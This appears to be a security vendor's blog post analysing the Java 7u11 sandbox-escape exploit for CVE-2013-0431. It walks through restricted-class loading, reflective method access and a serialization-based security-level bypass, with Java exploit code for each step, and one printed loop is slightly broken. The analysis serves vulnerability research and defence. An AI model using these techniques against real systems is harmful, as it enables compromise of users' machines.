Last updated at Wed, 30 Aug 2017 21:39:55 GMT

According to the latest news, exploit kits such as Cool EK and Popads are integrating a new exploit for Java, targeting Java 7u11. An exploit for CVE-2013-0431 has been analyzed and shared by SecurityObscurity, and is also now available as a Metasploit module with some improvements for testability. We would like to use this blog post to share some details about the vulnerabilities abused by this new Java exploit.

Step 1: Getting access to restricted classes

The first of the vulnerabilities abuses the public findClass method from the com.sun.jmx.mbeanserver.MBeanInstantiator to get access to restricted classes:

/** 
 * Gets the class for the specified class name using the MBean 
 * Interceptor's classloader 
 */
public Class << ? > findClass(String className, ClassLoader loader) 
throws ReflectionException { 
    return loadClass(className, loader);
}

The findClass method relies on loadClass, where the weakness lives, since it has been called with a null ClassLoader and:

(1) It will ask for the MBeanInstantiatior ClassLoader, which should return null (bootstrap loader) and

(2) Call Class.forName without ClassLoader, so Class.forName will use the Caller ClassLoader, which should be the bootstrap one.

/** 
 * Load a class with the specified loader, or with this object 
 * class loader if the specified loader is null. 
 **/
static Class << ? > loadClass(String className, ClassLoader loader) 
throws ReflectionException {
    Class << ? > theClass;
    if (className == null) {
        throw new RuntimeOperationsException(new IllegalArgumentException("The class name cannot be null"),
            "Exception occurred during object instantiation");
    }
    try {
        if (loader == null)
            loader = MBeanInstantiator.class.getClassLoader(); // (1)
        if (loader != null) {
            theClass = Class.forName(className, false, loader);
        } else {
            theClass = Class.forName(className); // (2) 
        }
    } catch (ClassNotFoundException e) {
        throw new ReflectionException(e,
            "The MBean class could not be loaded");
    }
    return theClass;
}

The method above is abused to get a reference to the restricted sun.org.mozilla.javascript.internal.GeneratedClassLoader class:

Class class2 = gimmeClass("sun.org.mozilla.javascript.internal.GeneratedClassLoader");
private Class gimmeClass(String s)
throws ReflectionException, ReflectiveOperationException {
    Object obj = null;
    JmxMBeanServer jmxmbeanserver = (JmxMBeanServer) JmxMBeanServer.newMBeanServer("", null, null, true);
    MBeanInstantiator mbeaninstantiator = jmxmbeanserver.getMBeanInstantiator();

    Class class1 = Class.forName("com.sun.jmx.mbeanserver.MBeanInstantiator");
    Method method = class1.getMethod("findClass", new Class[] { String.class, ClassLoader.class });
    return (Class) method.invoke(mbeaninstantiator,
        new Object[] { s, obj });
}

Step: 2 Getting access to methods

The exploit abuses the com.sun.jmx.mbeanserver.Introspector class, which makes an insecure use of the invoke method of the java.lang.reflect.Method class, as documented by Adam Gowdiak. The, exploit, as also explained by Adam, invokes getDeclaredMethod from the java.lang.Class to get access to methods of restricted classes. Specifically the defineClass method from the sun.org.mozilla.javascript.internal.GeneratedClassLoader class:

Method method2 = getMethod(class2,
    "defineClass", false);

private Method getMethod(Class class1, String s, boolean flag) {
    try {
        Method[] amethod =
            (Method[]) Introspector.elementFromComplex(class1, "declaredMethods");
        Method[] amethod1 = amethod;
        for (int i = 0; i < amethod1.length; i) {
            Method method = amethod1[i];
            String s1 = method.getName();
            Class[] aclass = method.getParameterTypes();
            if ((s1 == s) && ((!flag) || (aclass.length == 0))) return method;
        }
    } catch (Exception localException) { }
    return null;
}

Step 3: Bypassing security control

In Java 7 Update 10, the security level for unsigned Java apps switched to "High," which means the user is prompted before any unsigned Java app runs in the browser, the exploits found in the wild aren't bypassing this control, so require user interaction in order to run the exploiting applet:

The metasploit module is using the Security Control bypass also found by Adam Gowdiak. Adam noticed that the implementation of the above security levels doesn't take into account Java Applets instantiated with the use of serialization. A serialized version of the Exploit class can be obtained with the use of a Java application based in the code published in Adam's advisory:

import java.io.*;
public class Serializer {   
    public static void main(String[] args) {
        try {
            Exploit b = new Exploit(); // target Applet instance
            ByteArrayOutputStream baos = new ByteArrayOutputStream();
            ObjectOutputStream oos = new ObjectOutputStream(baos);
            oos.writeObject(b);
            FileOutputStream fos = new FileOutputStream("Exploit.ser");
            fos.write(baos.toByteArray());
            fos.close();
        } catch (Exception ex) {
            ex.printStackTrace();
        }
    }
}

Demo

With all the pieces of the puzzle together, complete Java sandboxing and security level bypassing can be accomplished. You'll want to view the video at 720p and a decent-size monitor if you want to actually read the text in the video below.

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions.